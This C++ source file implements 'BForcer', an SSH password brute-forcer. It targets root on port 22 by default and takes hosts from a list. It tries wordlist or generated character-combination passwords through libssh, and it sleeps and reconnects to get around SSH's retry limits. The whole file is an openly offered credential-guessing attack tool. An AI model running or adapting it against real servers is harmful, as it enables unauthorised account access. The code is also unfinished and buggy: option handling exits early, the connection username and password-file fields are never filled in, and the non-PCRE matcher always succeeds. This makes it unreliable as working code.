/* Copyright (C) 2009 Alvaro Morais <alvaromorais@gmail.com>
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License as
 * published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * General Public License for more details at
 * http://www.gnu.org/copyleft/gpl.html
 */

#include "bforcer.h"



BForcer::BForcer() :
        force_set(false),
        default_user_set(false),
        usersfile_set(false),
        hosts_file_set(false),
        resume_set(false),
        sleep_set(false),
        char_min_set(false),
        char_max_set(false),
        case_policy_set(false),
        combination_set(false),
        no_curses_set(false),
        port_set(false),
        warning_set(false),
        passwords_files_set(false),

        default_port(22),
        //default_user("root"),
        warning_policy(WARNINGS_NORMAL_STDERR),
        force(false)


{
    default_user = "root";
    checkConfigPath();


}



void BForcer::showWarning(const string& warning)
{

    if(!warning_set)
        throw  BForcer_code_error("showWarnings() was called while warning_set was not set.");

    string error = "Warning: ";
    error += warning;


    switch(warning_policy)
    {
        case WARNINGS_SILENT:
            break;
        case WARNINGS_NORMAL:
            std::cout << error << endl;
            break;
        case WARNINGS_NORMAL_STDERR:
        case WARNINGS_ERRORS:
            std::cerr << error << endl;
            break;
        default:


            break;
    };

    if (warning_policy == WARNINGS_ERRORS)
        throw  BForcer_code_error("Policy: Werror. Exiting.\n");

}

bool BForcer::checkConfigPath()
{
    char* cp;
    char* hd;
    cp = getenv("BFORCER_CONFIG_PATH");
    hd = getenv("HOME");


    if(cp == NULL)
    {
        if(hd == NULL)
        {
            throw Bforcer_badopt_error("Can't locate home directory\n");
            return false;
        }
        configPath = hd;
        configPath += "/.bforcer";
    }


#ifdef DEV_DEBUG
    cout << "Config Path = " << configPath << endl;
#endif
    filesystem::path _path(configPath);
    if(filesystem::exists(_path) && !filesystem::is_directory(_path))
    {
        throw Bforcer_badopt_error(""); //TODO
        return false;
    }
    filesystem::create_directory(_path);
    return true;

}

void BForcer::helpCommand(const string& command)
{

    if(command == "help")
    {
        printUsage();
        return;
    }

    string helpMessage;
    if( command == "port"        ||
        command == "p"           ||
        command == "default-port"
      )
    {
        helpMessage =
"[--port, --default-port, -p] port\n\n"

"  This option sets the default port that bforcer should try do connect.\n"
"  The default port is used whenever there is no port specified.\n"
"  The default value is 22\n"
"  e.g.:\n"
"    IF a host is set to 'root@somehost.org', then the port for this\n"
"    host will be the default port.\n"
"    If the host is set to 'root@somehost.org:25', then the default port will be\n"
"    override.\n\n"
;
        cout << helpMessage;
        return;
    }

    if( command =="user"        ||
        command == "u"          ||
        command == "default-user" )
    {
        helpMessage =
"[--user, --default-user, -p] user\n\n"

"  This option sets the default user that bforcer should user.\n"
"  The default user is used whenever there is no user specified.\n"
"  The default value is root\n"
"  e.g.:\n"
"    IF a host is set to 'somehost.org:22', then the user for this\n"
"    host will be the default user.\n"
"    If the host is set to 'someone@somehost.org:25', then the default user\n"
"    will be override.\n\n"
;
        cout << helpMessage;
        return;
    }
    if( command == "hosts-file" ||
        command == "L" )
    {
        helpMessage =
"[--hosts-file, -L] filename\n\n"
"  The hosts-file option sets the name of the file bforcer should look for\n"
"  a list of hosts.\n\n"
"  The format of the file is this:\n\n"
"    * Each host must be separated with a space, tab or newline.\n\n"
"    * The hosts string has to be in this format:\n\n"
"            user@hosname:port\n\n"
"      User and port can be ommited. In this case the default values will be\n"
"      assumed.\n\n"
"    * If a host is invalid a warning is emited. Depending on the warning policy\n"
"      the program may be aborted.\n\n"
;
        cout  << helpMessage;
        return;
    }

    if (command == "password-file"  ||
        command == "l" )
    {
        helpMessage =
"[--passwords-file, -l] filename\n\n"
"  The passwords-file option sets the name of the file bforcer should look for\n"
"  a list of passwords.\n\n"
"  The format of the file is this:\n\n"
"    * Each password must separated with a newline.\n\n"
"    * Passwords can contain spaces.\n\n"
;
        cout << helpMessage;
        return;
    }

    if( command == "resume" ||
        command == "r" )
    {
        helpMessage =
"[--resume, -r]\n\n"
"  The resume option is to resume a previous interruped operation.\n"
"  The resume files are located on the folder '~/.bforcer/.work' \n"
;

        cout << helpMessage;
        return;
    }

    if( command == "sleep" ||
        command == "s"
        )
    {
        helpMessage =
"[--sleep, -s] seconds\n\n"
"  Normally SSH has a maximum number of tries after witch it disconnects the\n"
"  session. The --sleep option sets the time Bforcer waits before reconnect.\n\n"
"  The default value is 0.\n\n"
;
        cout << helpMessage;
        return;

    }

    if( command == "combination" ||
        command == "b")
    {
        helpMessage =
"[--combination, -b]\n\n"
"Combination is used to try a the old fashion brute force without a dictionary.\n\n"
"  Available options:\n\n"
"      w             ascii word. All letters form a to z, A to Z, and all \n"
"                    numbers\n\n"
"      l             lower case letters from a to z\n\n"
"      L             upper case letters from A to Z\n\n"
"      d             numbers. All numbers from 0 to 9\n\n"
"      s             symbols. All ascii printable symbols.\n\n"
"      A             all. it's equivelent to wds or lLds. All printable ascii\n"
"                    characters.\n\n"
"      %c            character. Match a specific character. For example to match\n\n"
"                    the character 't' use %t.\n\n\n"
"  Examples:\n"
"      bforcer --combination d%-%_\n"
"           Matches combinations wthis this characters: \n"
"               0 1 2 3 4 5 6 7 8 9 - _\n\n"

;

        cout << helpMessage;
        return;
    }
    throw Bforcer_badopt_error(
            "Invalid argument for --help. Try --help with no arguments." );
}

void BForcer::printUsage()
{
    cout <<
"BForcer " << VERSION << endl <<
"Usage: bforcer [options]\n\n"

"Help options:\n"
"  [--help, --usage, -h]                Prints this helpscreen\n"
"  [--help, --usage, -h] option         Prints more help about a specific option\n\n"
#ifdef BFORCER_USE_NCURSES
"Presentation options:\n"
"  [--no-curses, -C]                    Do not use the curses library and color.\n"
"                                       Outputs to sdtout sequencial information.\n\n"
#endif
"General options:\n"
"  [--port, -p] port                    Sets the remote port.\n"
"                                       Default: 22\n"
"  [--user, --default-user, -u]\n"
"                          username     Sets the default-user.\n"
"                                       If several instances of this otion are\n"
"                                       are found, the last one is assumed.\n"
"                                       Default: root\n"
"  [--host, -H] hostname                Sets the hostname or hostnames.\n"
"                                       This option can accumulate with itself\n"
"                                       and with the --hosts-file option.\n"
"                                       Default: localhost\n"
"  [--hosts-file, -L] filename          Sets a file with a list of hosts.\n"
"                                       This option acumulates with the --host\n"
"                                       option. Only one file is allowed.\n"
"                                       Default: none\n"
"  [--passwords-file, -l] fnmatch       Sets the file(s) with the list of\n"
"                                       passwords. This option can accumulate\n"
"                                       with itself.\n"
"                                       Default: none.\n"
"  [--resume, -r]                       Tries to resume the last operation. If\n"
"                                       it isn't sucesseful aborts.\n"
"  [--sleep, -s] seconds                Sets the time in seconds bforcer waits\n"
"                                       between reconnections.\n"
"                                       Default: 0\n"
"  [--characters-minimum, -m] number    Sets the minimum number of characters.\n"
"                                       Default: 0\n"
"  [--characters-maximum, -M] number    Sets the maximum number of characters.\n"
"                                       Zero means unlimited\n"
"                                       Default: 0)\n"
"  [--case-policy, -c] policy           Sets the case mixing policy This is\n"
"                                       only for file password lists.\n"
"       strict                          Uses exactly and only the list case.\n"
"       lower                           Converts all passwords to lower-case.\n"
"       upper                           Converts all passwords to upper-case.\n"
"       lower-upper                     Converts all passwords to lower and\n"
"                                       then to upper by this order.\n"
"       upper-lower                     Converts all passwords to upper and\n"
"                                       then to lower by this order.\n"
"       exaustive                       Uses all combinations of upper-lower.\n"
"                                       case on all passwords.\n\n"
"                                       Default: strict\n"
"  [--combination, -b] expression       Match an bruteforce expression.\n"
"                                       See --help combination for a complete\n"
"                                       reference.\n"
"  [--force, -f]                        Override any resume files.\n"
"  [--warnings, -W] policy              Policy for action about bforcer warnings\n"
"       silent                          Do not show warnings.\n"
"       normal                          Show warnings.\n"
"       normal-stderr                   Send warnings to stderr output\n"
"       error                           Warnings are treated like errors. The\n"
"                                       program aborts.\n"
"                                       Default: normal-stderr\n"
;
}

void BForcer::setFromArgs(int argc, char** argv)
{
    if(argc == 1)
    {
	printUsage();
	exit(EXIT_SUCCESS);
    }
    opterr = 0;
    list<string> warnings;
    int c;
    string strarg;

    while(true) {
        static struct option long_options[] =
        {
            { "port",               required_argument,  0,              'p' },
            { "default-user",       required_argument,  0,              'u' },
            { "user",               required_argument,  0,              'u' },
            { "host",               required_argument,  0,              'H' },
            { "hosts-file",         required_argument,  0,              'L' },
#ifdef USE_NCURSES
            { "no-curses",          no_argument,        0,              'C' },
#endif
            { "passwords-file",     required_argument,  0,              'l' },
            { "resume",             no_argument,        0,              'r' },
            { "sleep",              required_argument,  0,              's' },
            { "help",               required_argument,  0,              'h' },
            { "usage",              required_argument,  0,              'h' },
            { "characters-minimum", required_argument,  0,              'm' },
            { "characters-maximum", required_argument,  0,              'M' },
            { "case-policy",        required_argument,  0,              'c' },
            { "combination",        required_argument,  0,              'b' },
            { "force",              no_argument,        0,              'f' },
            { "warnings",           required_argument,  0,              'W' }
        };
        int option_index = 0;
	

        c = getopt_long(argc, argv, "h:p:u:H:l:L:r:s:o:m:M:c:b:W:fC",long_options, &option_index);

        if(c == -1)                 //Detect the end of options
            break;
        if(optarg!=NULL)
        strarg = optarg;
        else
            strarg="";
        string error;
        switch (c)
        {
            // --port option
            case 'p':
                cout << "setting port" << endl;
                if(port_set)
                    warnings.push_back("Repetition of --port.");

                port_set = true;
                default_port = atoi(optarg);
                break;
            // --username option
            case 'u':
                if(default_user_set)
                    warnings.push_back("Repetition of --default user.");
                default_user_set = true;
                default_user = strarg;
                break;

            case 'H':
                addHostToList(strarg);
                break;
            case 'L' :
                if(hosts_file_set)
                    warnings.push_back("Repetition of --hosts-file. Assuming last.");

                hosts_file_set = true;
                hosts_file = strarg;
                break;


            // --passwords-file option
            case 'l':
                if(passwords_files_set)
                    warnings.push_back("Repetition of --passwords-file. Assuming last.");

                passwords_files_set = true;
                passwords_file = strarg;
                break;

            // --help an --print-usage options
            case 'h':
                helpCommand(strarg);
                exit(EXIT_SUCCESS);     //TODO: Exit properlly
                break;

            // --resume option
            case 'r':
                if(argc > 3)
                {
                    helpCommand("resume");
                    throw Bforcer_badopt_error(
                "Multiple options ar not allowed when --resume option is set.\n"
                "Usage: bforcer --resume\n"
                    );
                    return;
                }
                resume = true;
                break;

            // --force-option
            case 'f':
                if(force_set)
                    warnings.push_back("Repetitions of --force.");
                force_set = true;
                force = true;
                break;

            // --characters-minimum option
            case 'm':
                if(char_min_set)
                    warnings.push_back("Repetition of --characters-minimum option. Assuming last.");

                char_min_set = true;
                characters_minimum = atoi(optarg);
                break;

            // --characters-maximum option
            case 'M':
                if(char_max_set)
                    warnings.push_back("Repetition of --characters-maximum option. Assuming last.");

                char_max_set = true;
                characters_maximum = atoi(optarg);
                
                break;
                
                
            // --sleep option
            case 's':
                if(sleep_set)
                    warnings.push_back("Repetition of --sleep option. Assuming last.");

                sleep_set = true;
                sec_to_sleep = atoi(optarg);
                break;

            case 'W':
                if(warning_set)
                    warnings.push_back("Repetition of --warnings.");

                if(strarg == "silent")
                {
                    warning_policy = WARNINGS_SILENT;
                    warning_set = true;
                    break;

                } else if(strarg == "normal")
                {
                    warning_policy = WARNINGS_NORMAL;
                    warning_set = true;
                    break;

                } else if(strarg == "normarl-stderr")
                {
                    warning_policy = WARNINGS_NORMAL_STDERR;
                    warning_set = true;
                    break;

                } else if(strarg == "error")
                {
                    warning_policy = WARNINGS_ERRORS;
                    warning_set = true;
                    break;
                } else
                {
                    helpCommand("warnings");
                    throw Bforcer_badopt_error("Invalid argument for --warnings.\n");
                    return;
                }
                break;

            case 'c':
                if(case_policy_set)
                    warnings.push_back("Repetition of --case-policy option. Assuming last.");

                if(strarg == "strict")
                {
                    case_policy = CASE_STRICT;
                    case_policy_set = true;
                    break;
                } else if(strarg == "lower")
                {
                    case_policy = CASE_LOWER;
                    case_policy_set = true;
                    break;

                } else if(strarg == "upper")
                {
                    case_policy = CASE_UPPER;
                    case_policy_set = true;
                    break;

                } else if(strarg == "lower-upper")
                {
                    case_policy = CASE_LOWER_UPPER;
                    case_policy_set = true;
                    break;

                } else if(strarg == "upper-lower")
                {
                    case_policy = CASE_UPPER_LOWER;
                    case_policy_set = true;
                    break;

                } else if(strarg == "exaustive")
                {
                    case_policy = CASE_EXAUSTIVE;
                    case_policy_set = true;
                    break;
                } else {
                    helpCommand("case-policy");
                    throw Bforcer_badopt_error(
                            "Invalid argument for option --case-policy.");
                    return;
                }
                break;
            case 'b':
                if(combination_set)
                    warnings.push_back("Redefenition of --combination option. Using last.");

                combinaton = strarg;
                combination_set = true;
                break;

            case '?':
                switch (optopt)
                {
                    case 'h':
                        printUsage();
                        exit(EXIT_SUCCESS);
                        break;

                    case 'p':
                    case 'u':
                    case 'H':
                    case 'L':
                    case 'l':
                    case 'd':
                    case 'm':
                    case 'M':
                    case 'c':
                    case 'b':
                    case 'W':
                        error = "Option -";
                        error += optopt;
                        error += " requires an argument.";
                        throw Bforcer_badopt_error(error);
                        return;
                        break;

                    default:
                        error = "Unknow option -";
                        error += optopt;
                        error += " .";
                        throw Bforcer_badopt_error(error);
                        return;
                        break;
                };
                break;
        };
        };

    warning_set = true;

    while(!warnings.empty()) {
        showWarning(warnings.front());
        warnings.pop_front();
    }

    setOptions();

    cout << "Port set to: " << default_port << endl;
    cout << "Username set to: " << username << endl;

    cout << "Host set to: " << host << endl;
    cout << "Password list filename set to: " << filename << endl;
    cout << "Microseconds to sleep between reconects: " << sec_to_sleep << endl;
    cout << "Minimum characters: " << characters_minimum << endl;
    cout << "Maximum characters: " << characters_maximum << endl;
}

void BForcer::setOptions()
{

    string warning;
    // Set default port

   if ( default_port <= 0 || default_port >= 65536 )
    {
        char tmp[256];
        sprintf(tmp, "%d", default_port);

        warning = "Port was set to a non allowed value: ";
        warning +=  tmp;
        warning += " . Defaulted to 22";
        showWarning(warning);
        default_port = 22;
    }

    // Set default user


    // set passwods file
    if(combination_set)
        parseCombination();


    // set host(single)
    if(hosts_file_set)
    {
       parseHostsFile(hosts_file);
    }
    NormalizeHosts();

    //addHostToList(    

    // set hosts(file)
    InitiateWorkingHostsFile();






    // set combination
    exit(EXIT_SUCCESS);

}



void BForcer::InitiateWorkingHostsFile()
{
    workingPath = configPath + std::string("/.work");
    workingHostsFile = workingPath + std::string("/hosts_bforcer.work");
    filesystem::path pathWorkingPath(workingPath);
    filesystem::path pathWorkingHostsFile(workingHostsFile);

    if(!filesystem::exists(pathWorkingPath))
    {
        filesystem::create_directory(pathWorkingPath);
    } else
    {
        if(!filesystem::is_directory(pathWorkingPath))
        {
            string error = workingPath;
            error += " is not a directory.\n Remove it manually to continue.";

            throw BForcer_runtime_error(error);
        }
    }
    if(filesystem::exists(pathWorkingHostsFile) && force != true)
    {
        string error = workingHostsFile;
        error += " exists. Use --resume or --force to overwrite.";
        throw BForcer_runtime_error(error);
    }


    streamWorkHosts.open(workingHostsFile.c_str(), ios_base::out);
    list<string>::iterator it;

    for(it = hosts.begin(); it != hosts.end(); ++it)
    {
        streamWorkHosts << *it << std::endl;
    }
    streamWorkHosts.close();
}

void BForcer::parseCombination()
{

    // /^[wlLdsA\\%](?(?<=\\%).|[wlLdsA\\%])*$/

    string combinationMatch = "^[wlLdsA\\%](?(?<=\\%).|[wlLdsA\\%])*(?(?<=\\%).|[wlLdsA])$";
    if(!fullMatch(combinaton, combinationMatch, false))
    {
        throw BForcer_runtime_error("Ivalid options to compination.");
        return;
    }
    list<string>::iterator it;
    list<string> strList = retMatchesList(combinaton, "([wlLdsA\\%](?(?<=\\%).|[wlLdsA\\%])*(?(?<=\\%).|[wlLdsA]))", false);
    for(it= strList.begin(); it != strList.end(); it++)
        cout << *it << endl;

    cout << "sucess" << endl;
    exit(EXIT_SUCCESS);
}

void BForcer::startBruteForce()
{
    initOptions();

    if(!connect())
    {
        cerr << "Could not connect. Aborting..." << endl;
        disconnect();
        exit(EXIT_FAILURE);
    } else
    {
        cout << "connecting successeded" << endl;
    }

    std::fstream file;
    file.open(filename.c_str(), ios_base::in);

    string passd;

    while( file >> passd ) {

        if(tryPassword(passd))
        {
            cout << "FUCKER" << endl;
            exit(EXIT_FAILURE);
        } else {
            int errorCode = ssh_get_error_code(session);
            cout << "ErrorCode = " << errorCode << endl;
            cout << "ErrorMessage = " << (char*) ssh_get_error(session) << endl;
            if(errorCode == 2) {
                sleep(sec_to_sleep);
                reconnect();
            }
        }

    }

}

bool BForcer::tryPassword(string passw)
{
    cout << "Trying password: " << passw << endl;
    char* banner=ssh_get_issue_banner(session);
    if(banner){
        printf("%s\n",banner);
        free(banner);
    }

    if(ssh_userauth_password(session,NULL,passw.c_str()) != SSH_AUTH_SUCCESS)
    {

        return false;

    } else {

        return true;
    }
}

bool BForcer::connect()
{
    session = ssh_new();
    ssh_set_options(session, opts);
    if(ssh_connect(session))
    {
        cout << "Connection failed. Aborting" << endl;
        return false;
    }

    int auth = 0;
    ssh_userauth_none(session, NULL);

    auth = ssh_auth_list(session);
    if(!(auth & SSH_AUTH_METHOD_PASSWORD) )
    {
        cerr << "The server doesn't supports passwords\n"
                << "What the fuck are you trying to do??? Hack 4096bit encryptations? Get real\n"
                << "If you are using this program you are not good enough.\n"
                << endl;
        return false;
    }    
    return true;




}

bool BForcer::disconnect()
{
    ssh_disconnect(session);
    ssh_finalize();
    return true;

}

bool BForcer::reconnect()
{
    ssh_finalize();
    connect();
    return true;
}

void BForcer::initOptions()
{
    opts = ssh_options_new();
    int total = 0;
    total += ssh_options_set_host(opts, host.c_str());
    total += ssh_options_set_username(opts, username.c_str());
    total += ssh_options_set_port(opts, default_port);
    total += ssh_options_allow_ssh1(opts,1);
    total += ssh_options_allow_ssh2(opts,1);

    cout << "initOptions: Total = " << total << endl;
    if(total != 0)
    {
        cerr << "An error on initOptions as ocurred. Aborting" << endl;
        exit(EXIT_FAILURE);
    }

}


void BForcer::parseHostsFile(string _file)
{


    filesystem::path full_path( filesystem::initial_path<filesystem::path>() );

    full_path = filesystem::system_complete( filesystem::path(_file) );
#ifdef DEV_DEBUG
    std::cerr << "Full_path = " << full_path.string() << std::endl;
#endif


    if(filesystem::is_empty(full_path))
    {
        string error = "File ";
        error += full_path.string();
        error += " is empty.";
        throw BForcer_runtime_error(error.c_str());
        return;

    }
    if(!filesystem::exists(full_path))
    {
        string error = "File ";
        error += full_path.string();
        error += " doen't exist or is inacessible.";
        throw BForcer_runtime_error(error.c_str());
        return;
    } else if( filesystem::is_directory(full_path))
    {
        string error = "File ";
        error += full_path.string();
        error += " is a directory.";
        throw BForcer_runtime_error(error.c_str());
        return;
    }


    std::fstream hostsFile;

    try {
        hostsFile.open( full_path.string().c_str(), std::ios_base::in);
    } catch (...) {
        string error = "An error ocurred opening the file ";
        error += full_path.string();
        error += " for read.\n";
        hostsFile.close();
        throw BForcer_runtime_error(error.c_str());

    }
    if(hostsFile.fail())
    {
        string error = "An error ocurred opening the file ";
        error += full_path.string();
        error += " for read.\n";
        hostsFile.close();
        throw BForcer_runtime_error(error.c_str());
    }

    string tmp;




    while( hostsFile >> tmp) {
        if(hostsFile.fail())
        {
            string error = "An error ocurred parsing the file ";
            error += full_path.string();
            error += " for read.\n";
            hostsFile.close();
            throw BForcer_runtime_error(error.c_str());
        }

        addHostToList(tmp);


    };
    hostsFile.close();

}
// 127.0.0.1 www.google.com WWW.GOOGLE.COM alvaro@www.google.pt:23

bool BForcer::fullMatch(const string& text, const string& match, bool caseless)
{
#ifdef USE_PCRECPP
    pcrecpp::RE_Options options;
    //options.set_extended(true);
    if(caseless)
        options.set_caseless(true);
    pcrecpp::RE re(match,options);
    return re.FullMatch(text);
#else
    /*
        // TODO: The regular expressions are not quite right.

        boost::regex regIp("^(\\d{1,3}\\.){3}\\d{1,3}(:\\d{1,5})?$");
        boost::regex regDOMAIN("^(\\d|(?i)[a-z]|\\-)+.(\\d|(?i)[a-z]|\\-)*(:\\d{1,5})?$", boost::regex::perl);

        while (file >> tmp) {
            boost::smatch what1, what2;
            if(boost::regex_match(tmp, what1, regIp, boost::match_extra) ||
               boost::regex_match(tmp, what2, regDOMAIN, boost::match_extra ))
            {
                hosts.push_back(tmp);
            }
            if(file.fail())
            {
                string error;
                error = "An error ocurred parsing the ";
                error.append(*_file);
                error.append(" file.");
                file.close();
                throw BForcer_runtime_error(error.c_str());
                return;
            }
        }
        file.close(); */





    return true;

#endif
}

string BForcer::fullMatchRetMatch(const string& text, const string& match, bool caseless)
{
#ifdef USE_PCRECPP
    pcrecpp::RE_Options options;
    //options.set_extended(true);
    if(caseless)
        options.set_caseless(true);
    pcrecpp::RE re(match);
    string ret("");

    re.FullMatch(text,&ret);
    return ret;
#else

#endif
}

list<string> BForcer::retMatchesList(const string& text, const string& match, bool caseless)
{
#ifdef USE_PCRECPP
    pcrecpp::StringPiece input(text);
    pcrecpp::RE_Options re_options;
    re_options.set_caseless(caseless);
    pcrecpp::RE re(match, re_options);
    string var;
    list <string> strList;
    while (re.FindAndConsume(&input, &var)) {
        strList.push_back(var);
    }
    return strList;

#else

#endif

}

bool BForcer::addHostToList(string _host)
{
    // Match 1.0.0.0 or 1.0.0.0:22 or www.google.com or www.gooogle.com:22 or
    //        google.com or google or google:22
    
    //lowerString(_host);
    static string matchDomain = "(^(\\w+\\@)?"                                              //User part
                                 "?(?=[^a-z]*[(a-z])"                                       //Has letter?
                                 "([a-z]|\\d|\\-)+(\\.([a-z]|\\d|\\-)+)*(:\\d{1,5})?$|"     //Host part
                                 "(\\d{1,3}\\.){3}\\d{1,3}(:\\d{1,5})?$)";                  //Ip part
   
            
    
    if( fullMatch(_host, matchDomain,true)) {
        hosts.push_back(_host);
        return true;
    } else {
        string warning = _host;
        warning = " is not a valid hostname.";
        showWarning(warning);
        return false;
    }
}




void BForcer::NormalizeHosts()
{
    static string matchUser= "^(\\w+\\@).*$" ;
    static string matchPort = "^.*(:\\d{1,5})$";
    string default_port_str = bforcer_itoa(default_port);
    string tmp;

    list<string>::iterator it;
    for(it = hosts.begin(); it != hosts.end(); it++)
    {
        string& current = *it;
        lowerString(current);
#ifdef DEV_DEBUG
        cout << "NormalizeHosts()\nPrevious string: " << current <<  endl;
#endif

        if(!fullMatch(current, matchPort)) {
            current += ":";
            current += default_port_str;
        }
        if(!fullMatch(current, matchUser)) {
            tmp = default_user;
            tmp += "@";
            current = tmp + current;
        }
#ifdef DEV_DEBUG
        cout << "NormalizeHosts()\nUpdated string: " << current <<  endl;
#endif

    }
    hosts.sort();
    hosts.unique();
#ifdef DEV_DEBUG
    cout << "Listing hosts:\n\n";
    for(it = hosts.begin(); it != hosts.end(); it++)
    {
        string& current = *it;
        cout << current <<"\t\t\t";
    }
    cout << endl;
#endif

}

// Helper Funtions

string BForcer::bforcer_itoa(int num)
{
    static char buf[32];
    sprintf(buf, "%d", num);
    return string(buf);
}


void BForcer::lowerString(string& str)
{
    for(unsigned i=0; i < str.size(); ++i)
        str[i] = tolower(str[i]);
}
